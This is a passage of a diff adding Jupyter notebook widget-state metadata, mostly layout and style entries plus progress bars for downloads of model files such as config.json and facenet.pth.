"2bc90ab8db7b4f979ff0cb5eb01284a6": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "2c260ce7a89840e3857942d9294f9321": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_2cd604429546460d8e79a7ac4980d4cd", + "placeholder": "​", + "style": "IPY_MODEL_1cf1b7e84b744edf907f94aa3d1983bc", + "value": "Downloading (…)lve/main/config.json: 100%" + } + }, + "2c38cd148fe74a5897c3319be42b7d7e": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "2caabb6f82ef46ecbda6c0baf215d72a": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "2cd604429546460d8e79a7ac4980d4cd": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "2d76832bc7834ef6b683ef6829f83861": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "ProgressStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "ProgressStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "bar_color": null, + "description_width": "" + } + }, + "2db8827ffa344a4a8ac5487ff2997ae0": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_6ba872bd45c34e6c8202cc3722dc9285", + "placeholder": "​", + "style": "IPY_MODEL_4d73b627ecc74bf7ad18f5effa245097", + "value": "Downloading (…)rocessor_config.json: 100%" + } + }, + "2dc4775bcef749b7bbbb3f71d714211c": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "2df0162802aa488dbddb9a7376954865": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "2e3313ac79794a18a38a6b98c0f4f28a": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "2f8938d9a9254868869767a332bdf84f": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "2fa71efbdefa4607b37d985b272fcffa": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "2fee0c2fcb3b4705ad4cc212d6138ec9": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "3005ddef183645cbb3039da2a621ebf4": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "30408dcf6dd14e27bab9cc06cc664c4c": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "ProgressStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "ProgressStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "bar_color": null, + "description_width": "" + } + }, + "304e7a7a38834b3093002b6694c7cb67": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "308c9dc88e034f4bbcb4ee24628694ba": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "3097e4c3b53e4343a9ed6860b8d3d033": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_344e28ed2fc344f4ad5ab6f62a042631", + "placeholder": "​", + "style": "IPY_MODEL_dc495adaeb53477d903ce952060e4f3f", + "value": " 1.06M/1.06M [00:00<00:00, 1.51MB/s]" + } + }, + "30cdb95dd5d746b1adacaaf823b21b89": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_2fee0c2fcb3b4705ad4cc212d6138ec9", + "placeholder": "​", + "style": "IPY_MODEL_5f012cede7a0405fbb12550072bccbc2", + "value": " 490M/490M [00:01<00:00, 263MB/s]" + } + }, + "312f1ce28d144f8e828d5d33c0783a58": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HBoxModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HBoxModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HBoxView", + "box_style": "", + "children": [ + "IPY_MODEL_36aae82533a5470abfa287df328448fc", + "IPY_MODEL_7afd5032c0964fc5823189e2fc8599ed", + "IPY_MODEL_944390d866cf430fbd562fca7781a9d9" + ], + "layout": "IPY_MODEL_66f7c6f267864c929727fd96a83e6d06" + } + }, + "3282a8068816447285333083b4c8fe96": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HBoxModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HBoxModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HBoxView", + "box_style": "", + "children": [ + "IPY_MODEL_2c260ce7a89840e3857942d9294f9321", + "IPY_MODEL_eba07e4598814b6cb22ba58d16587cf3", + "IPY_MODEL_cfe9f9f05cb8493f804cd521a3e3c1c1" + ], + "layout": "IPY_MODEL_b3418378805c4029aa6e6b939ae3c84b" + } + }, + "32bb55abea4f4ea2a7ea8a28a45eeb16": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "335f1c1d85ec4723b8796b79d518c7be": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_f9f461994c7e41aba3124dd5ee0b1525", + "placeholder": "​", + "style": "IPY_MODEL_3e7b34f2b1764dbb82caaf245771abc0", + "value": "Downloading facenet.pth: 100%" + } + }, + "33c23b5b6adf403dba45e9f8e64e37dc": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "33ef3f5248c14c4f8dd2d4a7bf0038a9": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "344e28ed2fc344f4ad5ab6f62a042631": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "352a7d961cac483a82ea16cdb77a0368": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HBoxModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HBoxModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HBoxView", + "box_style": "", + "children": [ + "IPY_MODEL_20285260958f4620b906e7a21f44c555", + "IPY_MODEL_85caf1e9b73e46cea1ce2c4ebf92554b", + "IPY_MODEL_23460450a39c44e488bce836dac8b997" + ], + "layout": "IPY_MODEL_261e963568fc4a24af694276311c3b18" + } + }, + "35aa99e07e7d469ba9a46d80bb9908bb": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "ProgressStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "ProgressStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "bar_color": null, + "description_width": "" + } + }, + "35bd707e26044bd1a361c2fc2c11ea29": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "365b7759e93949dd891bacc424e797f3": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "36aae82533a5470abfa287df328448fc": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_2e3313ac79794a18a38a6b98c0f4f28a", + "placeholder": "​", + "style": "IPY_MODEL_77ad5edb54bb4e30bdd82186e80367c8", + "value": "100%" + } + }, + "36de2037f4b841afb366f27a7eb08396": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "373d310d37454a409b53c30e7d7d1de5": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "38dd90648c1949b196ebf27fb21436ba": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "38eb1d06f0094645944b5d305b575927": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "ProgressStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "ProgressStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "bar_color": null, + "description_width": "" + } + }, + "3ae595d0044944ea959d949d8c68d509": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "3b2265f2c01844fb9c99e18c61344d69": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "3b250841cf664fcd8a57fb25d23b29ee": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "3bdc5d0f6e324afaae6d5a4aabff98d2": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "ProgressStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "ProgressStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "bar_color": null, + "description_width": "" + } + }, + "3bf3dd9f53354c758187674b5b1eac19": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "3c2af8d5617b4b878b2e68f3fc7ebff6": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "FloatProgressModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "FloatProgressModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "ProgressView", + "bar_style": "success", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_9f4a6f9a897c4db0a8d92bf01f3f820c", + "max": 3438167540, + "min": 0, + "orientation": "horizontal", + "style": "IPY_MODEL_88e4029063f44ce5a7e89e8f17664eeb", + "value": 3438167540 + } + }, + "3cdb72138ffe4261a6cfcd9bcf4776c4": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + 